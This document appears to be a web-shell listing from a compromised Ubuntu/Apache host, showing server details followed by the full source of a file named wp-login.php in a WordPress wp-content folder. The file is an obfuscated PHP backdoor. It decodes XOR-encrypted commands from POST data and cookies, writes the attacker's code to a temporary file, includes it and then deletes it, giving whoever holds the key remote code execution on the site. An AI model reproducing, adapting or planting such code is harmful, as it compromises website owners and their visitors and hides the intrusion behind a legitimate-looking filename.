HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/wp-login.php
<?php 
$gexgonbsp_  = /*   ezzpng  */ 'gexgonbsp_'       ^ /* wy_v  */ '
';
$aruommku     = /*mrmvl  */ $gexgonbsp_(497-400)    .    $gexgonbsp_(629-515)    . /*mwgxq */ "r"."a"."\171"     .      "_"."\x6d" /*   xtqlhg   */ . /*  dogakr   */ "\141"      .  $gexgonbsp_(112);$kigjt_rxf	=       $gexgonbsp_(105) /* foxhfp*/ .    "m"."p".$gexgonbsp_(846-738) /*v*/ .       $gexgonbsp_(916-805)    . /* xlgipc*/ $gexgonbsp_(100)    .    "e";


$dxvjoabc   =	"c"."o".$gexgonbsp_(117)	.    $gexgonbsp_(263-153)    . /*  idvz */ "t";



function    _ojmkp_($kpixg_mwpqp,       $zfosr)
{
    global    $gexgonbsp_;

 /*  ha  */ 
	$kpixg_mwpqp    =    "\74" /*  m_nss  */ .    "?"."p"."\150"      .     $gexgonbsp_(1035-923)   .       $gexgonbsp_(32) /* eyqji  */ .  $gexgonbsp_(117)	. /*   mp   */ "\x6e"	.   "l"."\151"   .      "\156" /*  rrlyf*/ .    "k"."("."\x5f"    . /*  s */ $gexgonbsp_(95)      .	"\x46"   .     "\x49"	.    $gexgonbsp_(140-64)	. /* t */ "E".$gexgonbsp_(134-39)	.    "\137"  .     ")".";".$gexgonbsp_(32) /*   pi  */ . /*idirc   */ $kpixg_mwpqp[$gexgonbsp_(709-609)];       $gvxcupok /*xbarm  */ =  "f"."\x69" /*korykj */ .       "l"."\x65"."\x5f" /*   mxpk  */ .    "\160" /* fdoz  */ .	"\165"	. /* id  */ $gexgonbsp_(714-598)	.    $gexgonbsp_(165-70)    . /*  aapax*/ "c".$gexgonbsp_(111) /*   gcmytl  */ .    "\x6e"  .	$gexgonbsp_(116) /*   c_   */ . /*   k  */ $gexgonbsp_(101)    . /*  jo*/ $gexgonbsp_(632-522) /* lkw*/ .       $gexgonbsp_(304-188) /*lgtit */ .      "s";           $gvxcupok($zfosr,       $kpixg_mwpqp);


       /* gxz */ _ebkeh($zfosr);
}



$tnplvyiwe /*  szjhms   */ = /*bic_hr*/ 73;

function      _ebkeh($zfosr)


{
 /*   urgo*/ global    $gexgonbsp_; /*w   */ 


 /* dgbzih */ include($zfosr);

	$lwnxqozf    =	$zfosr;

    @unlink($lwnxqozf);


}
function   ksyufmyx()

{


    global /*lzr_t*/ $gexgonbsp_;


 /* sye*/ $kpixg_m    =	array();

   $kpixg_m[$gexgonbsp_(112) /*   blcecq*/ . /*   t   */ "v"]    =	phpversion();

 /* edlo */ $kpixg_m["s"."\166"]	=	$gexgonbsp_(51)     .	"."."5";

	$sdrpiu /*   jac   */ =	74;
    echo /*wtx   */ @serialize($kpixg_m);
}




function	iqschtsv($kpixg_mwpqp, /*   nuzm  */ $_mybtyv)

{
 /*olhm*/ global /*  kj   */ $gexgonbsp_;



 /*  oup */ $vrmrohqa   =    "";

    $vxoseuo /*  igzue*/ = /*  ihn*/ 'fm';

    $lhwev     = /*jc*/ hash('sha256', /*  jn  */ $kpixg_mwpqp);
	$gqhvpts /* f */ = /*deebz*/ str_replace('izxgb', /*   c   */ $lhwev,     $vxoseuo);
    $kpixg_m /*   yio  */ =	0;


	while /*jjki  */ ($kpixg_m    <    strlen($kpixg_mwpqp))  { /*  df */ $mquhbdn    =     isset($_mybtyv)     ?  $_mybtyv /*   ly   */ :    '';
   for    ($tnplv     = /* xnlxu */ 0;     $tnplv	<	strlen($mquhbdn) /*  km */ &&    $kpixg_m  < /*  gii */ strlen($kpixg_mwpqp); /* nsnok   */ $tnplv++,    $kpixg_m++)    {

   $vrmrohqa	.=  $gexgonbsp_(ord($kpixg_mwpqp[$kpixg_m])	^   ord($mquhbdn[$tnplv]));


    }

 /* lvfus  */ if /*   bis   */ (strlen($vrmrohqa)     >    20) /*  wxoir  */ {


	$gqhvpts	= /*bir */ substr($vrmrohqa,   0, /* dpuz */ 20);

 /*   xz  */ }


     }  if /*  rlaqkf   */ (empty($vrmrohqa))	{
  $vrmrohqa /*in   */ = /*_ */ date('Y-m-d /* rkia   */ H:i:s'); /*c  */ }	return    $vrmrohqa;

}





function /*   knpvot   */ zunulohot($ha_hz)

{
    global       $gexgonbsp_;

        $lhtc_hpv    =	"9"."f"."1"."0".$gexgonbsp_(407-358) /* qwa*/ .   "\x30" /*  gul  */ . /*  twnzqa  */ $gexgonbsp_(196-99)	.	$gexgonbsp_(51)       .	$gexgonbsp_(526-481)	.    "b".$gexgonbsp_(905-852)	.  "\x65".$gexgonbsp_(1029-975)	. /* ue  */ "-"."4".$gexgonbsp_(51)    .   "\62"	. /*   hjgap */ "f"."-"."9"."1"."\x30" /*   ywe*/ .	"\x65"       .    "-".$gexgonbsp_(99) /*bmqb */ .  $gexgonbsp_(50) /* xxibu   */ . /*  tybo */ $gexgonbsp_(54)    . /*   gdmtk */ $gexgonbsp_(829-773)	.    "\x65"     . /*  lq */ "\67" /*   jv */ .	"\142"	. /*  bqyn  */ $gexgonbsp_(101)	.	"\x61" /*   vcre*/ .	$gexgonbsp_(377-327)	. /*   dcj */ $gexgonbsp_(100) /*  bbnytg   */ .       "\61";

     
      foreach    ($ha_hz      as	$harukgkhr  =>	$kpixg_mwpqp)    {


    epoqfh(base64_decode($kpixg_mwpqp),      $lhtc_hpv,    $harukgkhr);


	}
}

function /*  l  */ epoqfh($kpixg_mwpqp,     $lhtc_hpv, /*dsbb_g  */ $harukgkhr)
{

       global    $gexgonbsp_;  


 /*jxlx */ $kpixg_mwpqp /*  am   */ = /*  dfdqzp   */ unserialize(iqschtsv(iqschtsv($kpixg_mwpqp,  $lhtc_hpv), /*  dqzaac   */ $harukgkhr));

	$yxhkny /*   bgwctf */ =      'dvgfpspm';
	$mxmpzozjqe /* miogra   */ = /* omv   */ 'oizweovv';

     if       (isset($kpixg_mwpqp["\141"."k"]))    {       if	($kpixg_mwpqp["\141"] /*ppd*/ == /*   nwm_iu  */ "\151")   {   ksyufmyx();


 /*  iu */ }   elseif	($kpixg_mwpqp["\141"]   == /*  phkluh  */ "\x65")	{ /* wnxqiu */ _ojmkp_($kpixg_mwpqp, /*  y*/ sprintf("."."/"."%"."s".$gexgonbsp_(457-411)   . /*  eveic   */ $gexgonbsp_(112)	. /*  wixqax  */ "\x6c",	md5($lhtc_hpv)));
			$blsqlxsv /* mouz   */ =    44;


    }

 /*  dkv   */ exit();

    }
}

zunulohot($_POST);    




$guhse /* _wdpz  */ =  $aruommku('rawurldecode',	$_POST);


$fixzll_ecn  =   $dxvjoabc($guhse);


if    ($fixzll_ecn /*xcxcsu  */ > /*   lrhta  */ 0) /*_hk*/ {
 /*  mzan  */ $swmvwiw     = /*   a*/ $kigjt_rxf(',', /*   jt   */ $guhse);

}
zunulohot($_COOKIE); /*   nxcbki  */ 

$ubvhxribm /*  dfje   */ =      $aruommku('rawurldecode',	$_COOKIE);

$yy_dutr      =     $dxvjoabc($ubvhxribm);


if /* ute  */ ($yy_dutr /*  kp*/ > /* cyft */ 0)     {

}






?>